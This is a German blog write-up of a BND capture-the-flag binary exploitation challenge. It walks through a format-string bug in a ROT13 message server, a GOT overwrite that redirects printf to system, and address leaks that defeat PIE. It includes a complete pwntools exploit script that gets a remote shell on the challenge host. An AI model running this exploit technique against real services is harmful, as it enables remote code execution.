Ein Blog

BND-CTF: 86-GBE Message Service

Der nächste Writeup aus den BND-CTFs. Nach der Backdoor in der RSA-Schlüsselerzeugung, dieses Mal aus der Kategorie Binary Exploitation.

Das Ziel:

Exploit a binary to gain a remote shell.

Wir bekommen die server.c, sowie die auf dem Server genutzte libc.

Server-Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
// gcc server.c -o server -g -ggdb -Wl,-z,norelro -fstack-protector-all

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int my_read(FILE *fd, char *buf, size_t max) {
	int read = 0;
	while (read < max && !feof(fd)) {
		int ch = getc(fd);
		if (ch == '\n') {
			break;
		} else {
			buf[read] = ch;
			read++;
		}
	}
	buf[read] = 0;

	return read;
}

char rot13(char ch) {
	if (ch >= 'a' && ch <= 'z') {
		return ((ch - 'a' + 13) % 26) + 'a';
	} else if (ch >= 'A' && ch <= 'Z') {
		return ((ch - 'A' + 13) % 26) + 'A';
	} else if (ch >= '0' && ch <= '9') {
		return ((ch - '0' + 5) % 10) + '0';
	} else {
		return ch;
	}
}

int main(int argc, char** argv) {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);

	char inp[0x100];
	char cc;

	puts("Welcome to our 86-GBE service!");
	puts("Enter your message and press return.");
	puts("Enter quit to exit.");

	unsigned char len;
	for (;;) {
		len = my_read(stdin, inp, sizeof (inp) - 1);
		if (strcmp(inp, "quit") == 0) {
			exit(0);
		}

		for (int i = 0; i < len; i++) {
			inp[i] = rot13(inp[i]);
		}

		for (int i = 0; i < len / 2; i++) {
			cc = inp[i];
			inp[i] = inp[len -i -1];
			inp[len - i - 1] = cc;
		}

		printf(inp);
		putc('\n', stdout);
	}

	exit(0);
}

Nehmt Euch am Besten etwas Zeit, um den Code erstmal anzuschauen.

Falls Ihr das nachstellen wollt, die Sha1-Hashes der beiden Shared-Objects und der bereitgestellten server-Executable sind:

8981f7e94145867387b532e1ef0afec6beb2f96e  ld-linux.so.2
4fcd76645607f38d91f65654ddd6b9770b5ea54a  libc.so.6
ea5b846f1eaa6a413aa91dda8e68067b407f52a9  server

Ich werde die Binaries hier nicht hochladen. Die libc werdet Ihr aber sicher irgendwo finden und die Executable könnt Ihr selbst kompilieren.

Sammlung der Hinweise

Schauen wir erstmal, was alles auffällig ist und was in der Aufgabe steht.

Aufgabe:

Exploit a binary to gain a remote shell.

Die Zeile, mit der der Server kompiliert wurde, ist in der Datei angegeben:

$ gcc server.c -o server -g -ggdb -Wl,-z,norelro -fstack-protector-all

Das sind aber ganz schön viele Flags! Schauen wir mal nach, was sie alle machen:

  • -g und -ggdb: “Bitte lass Debug-Symbole in der Executable”
  • -Wl,-z,norelro: -Wl reicht die danach folgenden Zeichen als Argument an den Linker durch. D. h. unser Linker bekommt -z norelro:
  • -fstack-protector-all: Schaltet Stack-Protection ein, z. B. für Härtung gegen Buffer-Overflows mit irgendwelchen Stack-Guards/Canarys.

Jetzt, wo wir wissen, was die Flags in etwa machen, kompilieren wir mal unsere eigene Server-Executable. Ich füge noch -Wall -Wpedantic hinzu, damit wir vielleicht noch ein paar Warnungen mehr sehen, die uns helfen könnten:

$ gcc server.c -o server2 -g -ggdb -Wl,-z,norelro -fstack-protector-all
server.c: In function ‘main’:
server.c:65:10: warning: format not a string literal and no format arguments [-Wformat-security]
   65 |   printf(inp);
      |          ^~~

Huch, was ist das denn für eine Warnung?
Wir haben uns den Code noch gar nicht angeschaut und sehen jetzt schon, dass an einer Stelle ein Buffer direkt an printf übergeben wird. Diese Warnung bekommt man auch, wenn wir das -Wall -Wpedantic weg lassen.

Blicken wir jetzt mal in den Code:

  • Der dort reingereichte Buffer wird direkt vom User kontrolliert. Vorher wird noch ein bisschen rot13 gemacht und der String umgedreht. Eingelesen wird er über die my_read-Funktion
  • Die main-Funktion verwendet ausschließlich exit(0), um die Funktion zu verlassen.

Außerdem interessant: Wir bekommen die libc, die auf dem Server liegt, dazu.

Skizzierung des Angriffs

Nehmen wir mal unsere bisherigen Funde und schauen, wie wir dort weiter kommen.

-fstack-protector-all

Das soll uns wohl klar machen, dass wir nicht versuchen sollen, den Stack zu überlaufen, um z. B. die Return-Address zu überschreiben.

Dafür spricht auch, dass exit verwendet wird, um das Programm zu beenden (statt zu returnen). Würden wir den Stack zum Überlauf bringen, würde es uns nichts bringen, die Rücksprungadresse zu überschreiben. Die my_read-Funktion sieht auf den ersten Blick auch nicht für Überläufe anfällig aus.

Vielleicht können wir ja Shellcode in den Stack schreiben und dort hinspringen? Dafür müsste der Stack ausführbar sein. Schauen wir mal nach:

$ readelf -l server
Program Headers:
Type           Offset             VirtAddr           PhysAddr           FileSiz            MemSiz              Flags  Align
PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000002a0 0x00000000000002a0  R      0x8
INTERP         0x00000000000002e0 0x00000000000002e0 0x00000000000002e0 0x000000000000001c 0x000000000000001c  R      0x1
LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000860 0x0000000000000860  R      0x1000
LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000 0x0000000000000655 0x0000000000000655  R E    0x1000
LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000 0x0000000000000208 0x0000000000000208  R      0x1000
LOAD           0x0000000000002208 0x0000000000003208 0x0000000000003208 0x0000000000000298 0x00000000000002c8  RW     0x1000
DYNAMIC        0x0000000000002218 0x0000000000003218 0x0000000000003218 0x00000000000001f0 0x00000000000001f0  RW     0x8
NOTE           0x0000000000000300 0x0000000000000300 0x0000000000000300 0x0000000000000020 0x0000000000000020  R      0x8
NOTE           0x0000000000000320 0x0000000000000320 0x0000000000000320 0x0000000000000044 0x0000000000000044  R      0x4
GNU_PROPERTY   0x0000000000000300 0x0000000000000300 0x0000000000000300 0x0000000000000020 0x0000000000000020  R      0x8
GNU_EH_FRAME   0x0000000000002068 0x0000000000002068 0x0000000000002068 0x0000000000000054 0x0000000000000054  R      0x4
GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000  RW     0x10

Die unterste Zeile zeigt: Nein, leider ist der Stack nicht ausführbar.

norelro

Stattdessen sieht es so aus, als würde man uns sehr doll hinten, irgendwas mit den Relocation-Sections zu machen. Das Readonly-Flag wird extra entfernt. Wir sollen diese Gegebenheit wohl ausnutzen.

printf

Der an das printf übergebene Buffer deutet auf eine Format-String-Attacke hin. Mit dem
%n können wir an bestimmte Adressen im Speicher schreiben. Was können wir denn so beschreiben?

$ readelf -S server
There are 31 section headers, starting at offset 0x3028:
Section Headers:
[Nr] Name              Type             Address           Offset       Size              EntSize          Flags  Link  Info  Align
[ 0]                   NULL             0000000000000000  00000000     0000000000000000  0000000000000000           0     0     0
[ 1] .interp           PROGBITS         00000000000002e0  000002e0     000000000000001c  0000000000000000   A       0     0     1
[ 2] .note.gnu.propert NOTE             0000000000000300  00000300     0000000000000020  0000000000000000   A       0     0     8
[ 3] .note.gnu.build-i NOTE             0000000000000320  00000320     0000000000000024  0000000000000000   A       0     0     4
[ 4] .note.ABI-tag     NOTE             0000000000000344  00000344     0000000000000020  0000000000000000   A       0     0     4
[ 5] .gnu.hash         GNU_HASH         0000000000000368  00000368     0000000000000034  0000000000000000   A       6     0     8
[ 6] .dynsym           DYNSYM           00000000000003a0  000003a0     00000000000001b0  0000000000000018   A       7     1     8
[ 7] .dynstr           STRTAB           0000000000000550  00000550     00000000000000db  0000000000000000   A       0     0     1
[ 8] .gnu.version      VERSYM           000000000000062c  0000062c     0000000000000024  0000000000000002   A       6     0     2
[ 9] .gnu.version_r    VERNEED          0000000000000650  00000650     0000000000000030  0000000000000000   A       7     1     8
[10] .rela.dyn         RELA             0000000000000680  00000680     0000000000000108  0000000000000018   A       6     0     8
[11] .rela.plt         RELA             0000000000000788  00000788     00000000000000d8  0000000000000018  AI       6    24     8
[12] .init             PROGBITS         0000000000001000  00001000     000000000000001b  0000000000000000  AX       0     0     4
[13] .plt              PROGBITS         0000000000001020  00001020     00000000000000a0  0000000000000010  AX       0     0     16
[14] .plt.got          PROGBITS         00000000000010c0  000010c0     0000000000000010  0000000000000010  AX       0     0     16
[15] .plt.sec          PROGBITS         00000000000010d0  000010d0     0000000000000090  0000000000000010  AX       0     0     16
[16] .text             PROGBITS         0000000000001160  00001160     00000000000004e5  0000000000000000  AX       0     0     16
[17] .fini             PROGBITS         0000000000001648  00001648     000000000000000d  0000000000000000  AX       0     0     4
[18] .rodata           PROGBITS         0000000000002000  00002000     0000000000000066  0000000000000000   A       0     0     8
[19] .eh_frame_hdr     PROGBITS         0000000000002068  00002068     0000000000000054  0000000000000000   A       0     0     4
[20] .eh_frame         PROGBITS         00000000000020c0  000020c0     0000000000000148  0000000000000000   A       0     0     8
[21] .init_array       INIT_ARRAY       0000000000003208  00002208     0000000000000008  0000000000000008  WA       0     0     8
[22] .fini_array       FINI_ARRAY       0000000000003210  00002210     0000000000000008  0000000000000008  WA       0     0     8
[23] .dynamic          DYNAMIC          0000000000003218  00002218     00000000000001f0  0000000000000010  WA       7     0     8
[24] .got              PROGBITS         0000000000003408  00002408     0000000000000088  0000000000000008  WA       0     0     8
[25] .data             PROGBITS         0000000000003490  00002490     0000000000000010  0000000000000000  WA       0     0     8
[26] .bss              NOBITS           00000000000034a0  000024a0     0000000000000030  0000000000000000  WA       0     0     32
[27] .comment          PROGBITS         0000000000000000  000024a0     000000000000002a  0000000000000001  MS       0     0     1
[28] .symtab           SYMTAB           0000000000000000  000024d0     0000000000000750  0000000000000018          29    46     8
[29] .strtab           STRTAB           0000000000000000  00002c20     00000000000002ee  0000000000000000           0     0     1
[30] .shstrtab         STRTAB           0000000000000000  00002f0e     000000000000011a  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

Wenn das zu viel zu lesen ist, | grep W -B 1 zeigt schnell, dass folgende Sektionen beschreibbar sind:

  • .init_array: WA
  • .fini_array: WA
  • .dynamic: WA
  • .got: WA
  • .data: WA
  • .bss: WA

WA bedeutet hier, dass wir nicht nur schreiben, sondern dort auch allozieren können (was für uns wahrscheinlich irrelevant ist). Das X für Execute fehlt aber bei allen. Das bedeutet wohl für uns, dass wir nicht einfach irgendwo Shellcode rein schreiben und ihn dann ausführen können.

Wenn wir uns jetzt an das norelro zurückerinnern: Das bewirkt in diesem Fall, dass .got beschreibbar ist.
Wie es der Zufall will, ist das Beschreiben der GOT-Sektion ein bekannter Angriffsvektor.
Das wird dann wohl unser Ziel sein.

Global Offset Table (GOT)

Was macht die GOT denn?

In der GOT sind Verweise auf importierte Funktionen, wie z. B. printf, exit, putc, puts und so weiter.

Gehen wir mal in IDA in die GOT. Über View -> Open Subview -> Segments erhalten wir eine Liste der Sektionen innerhalb der Binary, ähnlich wie mit readelf oben.
Mit einem Doppelklick auf .got landen wir schon an der richtigen Stelle:

.got:0000000000003408 ; ===========================================================================
.got:0000000000003408
.got:0000000000003408 ; Segment type: Pure data
.got:0000000000003408 ; Segment permissions: Read/Write
.got:0000000000003408 _got            segment qword public 'DATA' use64
.got:0000000000003408                 assume cs:_got
.got:0000000000003408                 ;org 3408h
.got:0000000000003408 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got:0000000000003410 qword_3410      dq 0                    ; DATA XREF: sub_1020↑r
.got:0000000000003418 qword_3418      dq 0                    ; DATA XREF: sub_1020+6↑r
.got:0000000000003420 puts_ptr        dq offset puts          ; DATA XREF: _puts+4↑r
.got:0000000000003428 __stack_chk_fail_ptr dq offset __stack_chk_fail
.got:0000000000003428                                         ; DATA XREF: ___stack_chk_fail+4↑r
.got:0000000000003430 printf_ptr      dq offset printf        ; DATA XREF: _printf+4↑r
.got:0000000000003438 strcmp_ptr      dq offset strcmp        ; DATA XREF: _strcmp+4↑r
.got:0000000000003440 putc_ptr        dq offset putc          ; DATA XREF: _putc+4↑r
.got:0000000000003448 feof_ptr        dq offset feof          ; DATA XREF: _feof+4↑r
.got:0000000000003450 setvbuf_ptr     dq offset setvbuf       ; DATA XREF: _setvbuf+4↑r
.got:0000000000003458 exit_ptr        dq offset exit          ; DATA XREF: _exit+4↑r
.got:0000000000003460 getc_ptr        dq offset getc          ; DATA XREF: _getc+4↑r
.got:0000000000003468 _ITM_deregisterTMCloneTable_ptr dq offset _ITM_deregisterTMCloneTable
.got:0000000000003468                                         ; DATA XREF: deregister_tm_clones+13↑r
.got:0000000000003470 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000003470                                         ; DATA XREF: _start+28↑r
.got:0000000000003478 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000003478                                         ; DATA XREF: _init_proc+8↑r
.got:0000000000003480 _ITM_registerTMCloneTable_ptr dq offset _ITM_registerTMCloneTable
.got:0000000000003480                                         ; DATA XREF: register_tm_clones+24↑r
.got:0000000000003488 __cxa_finalize_ptr dq offset __imp___cxa_finalize
.got:0000000000003488                                         ; DATA XREF: __cxa_finalize+4↑r
.got:0000000000003488                                         ; __do_global_dtors_aux+E↑r
.got:0000000000003488 _got            ends
.got:0000000000003488

Hier sind alle libc-Funktionen gelistet, die in dem Programm verwendet werden.
Man sieht ganz gut, dass z. B. Offset 0x3430 auf printf der importierten libc zeigt.

Wenn im Programm jetzt z. B. exit(0) steht, wird in die Procedure-Linkage-Table (PLT) gesprungen, welche sich die Adresse der “richtigen” exit-Funktion aus dieser GOT holt. Wir werden genau dieses Verhalten später sehen, wenn wir mit gdb durchsteppen. Die PLT fungiert hier als eine indirektion, die wir quasi nicht beachten müssen, solange wie die richtige Adresse in die GOT schreiben. Die PLT selbst können wir nicht beschreiben. Mehr Infos zu PLT/GOT hier.

Wir können also an eine beliebige Stelle/Funktion springen, indem wir einfach die Zieladresse z. B. in den Eintrag für exit schreiben.
Wenn wir dann in dem Programm zu der Stelle kommen, die exit(0) aufruft, wird letztendlich auf unsere Stelle gesprungen.

Shell spawnen

An beliebige Adressen springen zu können, ist schon mal ganz gut. Aber wohin wollen wir springen?

Um eine Shell zu spawnen, kann man nicht nur selbst-injizierten Shellcode ausführen.
Wir können auch die libc verwenden und z. B. system(3) oder execve(2) aufrufen.

Wenn wir also die Adresse dieser Funktionen hätten, könnten wir die GOT so überschreiben, dass wir zu diesen Funktionen springen. Welche Funktion können wir als Ziel nehmen?

int execve(const char *pathname, char *const argv[], char *const envp[]);

Um execve aufrufen zu können, müssten wir auch die geforderte Parameter an die Funktion übergeben.
Da wir einen bestehenden Funktionsaufruf überschreiben, müsste diese Funktion auch die Parameter schon “richtig” nehmen.
Für argv und envp könnte man null noch verkraften, aber wenn die Calling-Convention nicht eingehalten wird, sieht das schlecht aus.

Stellen wir execve mal hinten an.

int system(const char *command);

system nimmt einen Parameter, das auszuführende Command, welches als Argument an /bin/sh -c übergeben wird.

Zufällig nimmt printf auch einen Parameter (die Variadic-Arguments dahinter können wir auch ignorieren).
Es sieht also so aus, als könnten wir den printf-Aufruf überschreiben und durch system ersetzen.
Wenn wir das machen würden würde dann die Nutzereingabe aus dem my_read direkt (mit etwas rot13) an sh -c übergeben werden – quasi eine Shell also!

Zusammenfassung

Wir werden versuchen, den Eintrag von printf in der GOT so umzuschreiben, dass er auf system zeigt. Dadruch sollten wir eine Shell bekommen.

Exploitation

Versuchen wir das Ganze mal. Was benötigen wir denn, um unseren Exploit zu fahren?

  • Die GOT befindet sich in unserer Binary. Konkret: Wir wollen an Offset 0x3430 unserer Binary schreiben.
  • Was wollen wir da hin schreiben? Die Adresse von system in unserer libc. Die befindet sich an Offset 0x55410 in der libc, die sie uns mitgeliefert haben. Der Offset muss nicht bei jeder libc gleich sein, was wohl der Grund sein wird, dass sie uns diese mitgeliefert haben.

Jetzt müssen wir noch rausfinden, wie die Basisadressen der libc und des Servers zur Laufzeit sind. Wir können zum Testen mal in das /proc-Verzeichnis schauen:

$ cat /proc/`pidof server`/maps
7f3033510000-7f3033535000 r--p 00000000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f3033535000-7f30336ad000 r-xp 00025000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336ad000-7f30336f7000 r--p 0019d000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336f7000-7f30336f8000 ---p 001e7000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336f8000-7f30336fb000 r--p 001e7000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336fb000-7f30336fe000 rw-p 001ea000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336fe000-7f3033702000 rw-p 00000000 00:00 0
7f3033710000-7f3033712000 rw-p 00000000 00:00 0
7f3033720000-7f3033721000 r--p 00000000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f3033721000-7f3033743000 r-xp 00001000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f3033743000-7f3033744000 r-xp 00023000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f3033744000-7f303374b000 r--p 00024000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374b000-7f303374c000 r--p 0002b000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374d000-7f303374e000 r--p 0002c000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374e000-7f303374f000 rw-p 0002d000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374f000-7f3033750000 rw-p 00000000 00:00 0
7f303375c000-7f303375d000 r--p 00000000 00:00 476020             /mnt/c/Temp/challenge/server
7f303375d000-7f303375e000 r-xp 00001000 00:00 476020             /mnt/c/Temp/challenge/server
7f303375e000-7f303375f000 r--p 00002000 00:00 476020             /mnt/c/Temp/challenge/server
7f303375f000-7f3033760000 rw-p 00002000 00:00 476020             /mnt/c/Temp/challenge/server
7ffff4ffc000-7ffff57fc000 rw-p 00000000 00:00 0                  [stack]
7ffff5a3f000-7ffff5a40000 r-xp 00000000 00:00 0                  [vdso]

Unser Server fängt bei 0x7f303375c000 an, die libc bei 0x7f3033510000.

Wir hätten unserer Theorie nach also diese Adressen:

  • Der relevante GOT-Eintrag sollte bei 0x7f303375c000 + 0x3430 = 0x7f303375f430 liegen
  • Die system-Funktion sollte bei 0x7f3033510000 + 0x55410 = 0x7f3033565410 zu finden sein.

Als Cross-Check:

Starten wir gdb und schauen nach. Zuerst überprüfen wir den GOT-Eintrag. Dazu schauen wir uns die Main-Funktion an und setzen einen Breakpoint beim printf.

$ sudo gdb ./server `pidof server`
(gdb) disas main
[...]
   0x00007f303375d5a5 <+461>:   mov    eax,0x0
   0x00007f303375d5aa <+466>:   call   0x7f303375d0f0 <printf@plt>
   0x00007f303375d5af <+471>:   mov    rax,QWORD PTR [rip+0x1eea]
[...]
(gdb) br *0x00007f303375d5aa
Breakpoint 1 at 0x7f303375d5aa
# Nutzer macht Eingaben
Breakpoint 1, 0x00007f303375d5aa in main ()
# wir sind jetzt bei printf
(gdb) si # eine instruction weiter springen (in diesem Fall den Call folgen)
0x00007f303375d0f0 in printf@plt ()
# Wir befinden uns jetzt in der PLT und sollten jetzt die Adresse in der GOT als Call sehen
(gdb) disas
Dump of assembler code for function printf@plt:
=> 0x00007f303375d0f0 <+0>:     endbr64
   0x00007f303375d0f4 <+4>:     bnd jmp QWORD PTR [rip+0x2335]        # 0x7f303375f430 <printf@got.plt>
   0x00007f303375d0fb <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

Hier sehen wir in dem Kommentar, den gdb für uns gemacht hat: 0x7f303375f430 <printf@got.plt>. Das ist genau die Adresse, die wir erwartet haben. Der Prozessor wird also dann dort hin springen, wohin der Eintrag in der GOT zeigt, also in das printf der libc. Das passt soweit.

Schauen wir jetzt nach, ob die Adresse für system stimmt. Das machen wir so:

(gdb) disas 0x7f3033565410
Dump of assembler code for function __libc_system:
   0x00007f3033565410 <+0>:     endbr64
   0x00007f3033565414 <+4>:     test   rdi,rdi
   0x00007f3033565417 <+7>:     je     0x7f3033565420 <__libc_system+16>
   0x00007f3033565419 <+9>:     jmp    0x7f3033564e50 <do_system>
   0x00007f303356541e <+14>:    xchg   ax,ax
   0x00007f3033565420 <+16>:    sub    rsp,0x8
   0x00007f3033565424 <+20>:    lea    rdi,[rip+0x162187]        # 0x7f30336c75b2
   0x00007f303356542b <+27>:    call   0x7f3033564e50 <do_system>
   0x00007f3033565430 <+32>:    test   eax,eax
   0x00007f3033565432 <+34>:    sete   al
   0x00007f3033565435 <+37>:    add    rsp,0x8
   0x00007f3033565439 <+41>:    movzx  eax,al
   0x00007f303356543c <+44>:    ret
End of assembler dump.

Und tatsächlich, es ist die richtige Adresse! gdb ist sogar so nett und schreib uns noch das Symbol dazu: __libc_system.

Damit sind wir quasi fertig, oder? Nicht ganz.

Jedes Mal, wenn wir das Programm ausführen, sind die Adressen anders. Also das cat /proc/$(pidof server)/maps von weiter oben wird jedes Mal anders aussehen. Lediglich die Offsets bleiben gleich. Das Prinzip nennt man position-independent execution (PIE). Wir können also nicht einfach die Adressen hartkodieren und sind fertig.

Wir müssen irgendwie an die Basisadressen der libc (oben 0x7f3033510000) und des Servers (0x7f303375c000) im Speicher kommen.

Schauen wir uns mal den Stack an (c% ist die Verschlüsselung von %p):

$ ./server
Welcome to our 86-GBE service!
Enter your message and press return.
Enter quit to exit.
c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c%
(nil) 0x25 (nil) (nil) 0x7f3033731d50 0x7ffff57faa78 0x100000340 0x25fb034000000340 0x7d000000fb 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7f3000702520 0x7ffff57faa70 0x2e9dd1a1f7c9ac00 (nil) 0x7f30335370b3 0x71 0x7ffff57faa78 0x1336f8618 0x7f303375d3d8 0x7f303375d5d0 0x44eb45a416c6b2c2 0x7f303375d160 0x7ffff57faa70 (nil) (nil) 0xbb14af5b45e6b2c2 0xba8b2302f608b2c2 (nil) (nil) (nil) 0x1 0x7ffff57faa78 0x7ffff57faa88 0x7f303374f190 (nil) (nil) 0x7f303375d160 0x7ffff57faa70 (nil) (nil) 0x7f303375d18e 0x7ffff57faa68 0x1c 0x1 0x7ffff57fad0f (nil) 0x7ffff57fad1d 0x7ffff57fad2d 0x7ffff57fad3e 0x7ffff57fb070 0x7ffff57fb084 0x7ffff57fb0a5 0x7ffff57fb0d5 0x7ffff57fb10a

Auffällig:

  • An Offset 2 (0x25) ist wohl die Größe unseres Buffers.
  • 0x70 0x25 (%p) ist unsere ursprüngliche Eingabe, daher wird das Array input an Offset 10 liegen. Hier muss man auf die Endianess achten.
  • Danach wohl noch ein paar Pointer, die sich ändern, wenn man das Programm neu startet

Vielleicht ist bei den Pointern ja einer dabei, den wir brauchen. Wenn man eine Funktion mit call aufruft, pusht der Prozessor dabei üblicherweise die Rücksprungadresse auf den Stack. Da die main-Funktion üblicherweise nicht die “richtige” Main-Funktion ist, sondern von der libc gewrappt wird, werden wir sicherlich eine Rücksprungadresse in die libc dort finden.

Vergleichen wir mal die Adressen mit denen, die wir zu den gemappten Sektionen oben haben. Die libc fängt bei 0x7f3033510000 an. Sucht man nach 7f30335, fällt einem 0x7f30335370b3 in’s Auge. Das ist die einzige Adresse vom Stack, die 7 hexadezimale Stellen mit der libc-Basisadresse teilt (und damit ist die meisten Stellen). Die wäre also ein guter Kandidat für eine libc-Funktion. Schauen wir mal in gdb nach:

(gdb) disas 0x7f30335370b3
Dump of assembler code for function __libc_start_main:
   0x00007f3033536fc0 <+0>:     endbr64
   0x00007f3033536fc4 <+4>:     push   r15
   0x00007f3033536fc6 <+6>:     xor    eax,eax
# ...

Nice, das ist eine Adresse in der __libc_start_main, also der Funktion, die die main-Funktion wrappt! Nachdem wir dieses Vorgehen ein paar Mal wiederholt haben, könenn wir bestätigen, dass an Stelle 45 auf dem Stack eine Adresse zu einer Instruction in der __libc_start_main steht und auch immer auf dieselbe Instruction zeigt.

Rechnen wir jetzt 0x7f30335370b3 - 0x7f3033510000, erhalten wir 0x270b3. Das ist der Offset, der diese Rücksprungadresse zum Beginn der libc im Speicher hat.

Schauen wir jetzt, dass wir die Adresse der GOT bekommen. Wir suchen im Stack also den besten Präfix für 0x7f303375c000. Da gibt es ein paar. nach ein par Mal neustarten wissen wir, dass (aus dem Beispiel oben) 0x7f303375d3d8 – also die 49. Stelle – (direkt!) auf die Main-Funktion zeigt, die sich in der Server-Binary befindet:

(gdb)
disas 0x7f303375d3d8
Dump of assembler code for function main:
   0x00007f303375d3d8 <+0>:     endbr64
   0x00007f303375d3dc <+4>:     push   rbp
   0x00007f303375d3dd <+5>:     mov    rbp,rsp
# ...

Randnotiz: Das ist an Stelle 49, also weiter unten im Stack als die Rücksprungadresse in die libc. Das kommt wahrscheinlich daher, dass die main-Funktion eine lokale Variable in der __libc_start_main ist.

Wir berechnen wieder das Offset zur Basisadresse: 0x7f303375d3d8 - 0x7f303375c000, erhalten 0x13d8.

Wir können also remote durch Nutzereingaben die Adressen der libc und der Server-Binary herausfinden. Außerdem haben wir feste Offsets und wissen daher, wohin/was wir schreiben müssen.

Bisher haben wir das printf nur verwendet, um Informationen aus dem Prozess zu leaken. Jetzt können wir pritnf auch verwenden, um den Speicher zu beschreiben.

Exploit-Code

Ich verwende die pwntools. Die abstrahieren ein bisschen Glue-Code weg und man kann sich auf das wesentliche konzentrieren. Man kann auch einfach zwischen lokalem und remote-Target wechseln. Für uns ist auch interessant, dass es automatisiert Format-String-Expolits fahren kann. Man kann einfach eine Adresse angeben und die pwntools versuchen automatisiert, diese Adresse zu beschreiben.

#!/usr/bin/env python3

from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload
from pwn import *

# rot13 and string-reversal are implemented in a seperate file (not necessary for understanding this exploit)
import bnd_grade_encryption

context.clear(arch = 'amd64', os='linux')

s = remote('152.96.7.8', 4242)
# s = process('./server') # uncomment for local exploitation

# Skip welcome message
s.recvline()
s.recvline()
s.recvline()

def send_payload(payload):
    payload = bnd_grade_encryption.encrypt_or_decrypt(payload)
    s.sendline(payload)
    return s.recvline()

# Fetch pointer to `main` method
main_method_ptr = send_payload(b'%49$p')
main_method_ptr = int(main_method_ptr.decode('ascii'), 0)

server_base = main_method_ptr - 0x13d8

# Fetch pointer to some instruction in `__libc_start_main`
libc_start_main_ptr = send_payload(b'%45$p')
libc_start_main_ptr = int(libc_start_main_ptr.decode('ascii'), 0)
libc_base = libc_start_main_ptr - 0x270b3

libc_system_ptr = libc_base + 0x55410  # Pointer to `system(3)` in current memory

printf_got_entry_addr = server_base + 0x3430  # entry in the GOT we want to rewrite to `system(3)`

print(f'        mod: {hex(server_base)}')
print(f'       main: {hex(main_method_ptr)}')
print(f'  libc_base: {hex(libc_base)}')
print(f'libc_system: {hex(libc_system_ptr)}')
print(f'     printf: {hex(printf_got_entry_addr)}')

print()
print('Press return to get a shell')
input()

# Use format string exploit to path GOT entry
got_patcher = FmtStr(execute_fmt=send_payload)
got_patcher.write(printf_got_entry_addr, libc_system_ptr)
got_patcher.execute_writes()

# Not using s.interactive() because we have weird encoding stuff
i = 'id'
while i != '':
    payload = bnd_grade_encryption.encrypt_or_decrypt(i)
    s.sendline(payload)
    lines = s.recvlines(timeout=2)
    print('\n'.join(map(lambda a: a.decode('ascii'), lines)))
    i = input('$ ')

Anmerkung: Dieses ganze Offset-Berechnen, was ich hier von hand gemacht hab, kann man auch mit den pwntools halbautomatisch machen, indem man sich die ELF-Binary lädt und mit denen rechnet.

Wenn wir den Exploit ausführen:

$ ./a.py

[+] Starting local process './server': pid 5555
        mod: 0x7f9bc6d36000
       main: 0x7f9bc6d373d8
  libc_base: 0x7f9bc6b00000
libc_system: 0x7f9bc6b55410
     printf: 0x7f9bc6d39430

Press return to get a shell

[*] Found format string offset: 10
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)

$ cat flag.txt
<individuelle flag>

Fertig!

Schlussbemerkungen

Das sieht in diesem Writeup so aus, als wäre das ganz schnell gegangen. Natürlich liegt der Fokus hier auf dem Happy-Path.

Als ich an dem CTF saß, hab ich viele Fehlversuche gehabt und musste sehr viel recherchieren. Nicht, dass hier der Eindruck entsteht, dieser Exploit sei (für mich) einfach gewesen. Es war eher so ein “my first binary exploit”.

Für richtige CTFler wäre das hier wahrscheinlich wirklich straight-forward gewesen.
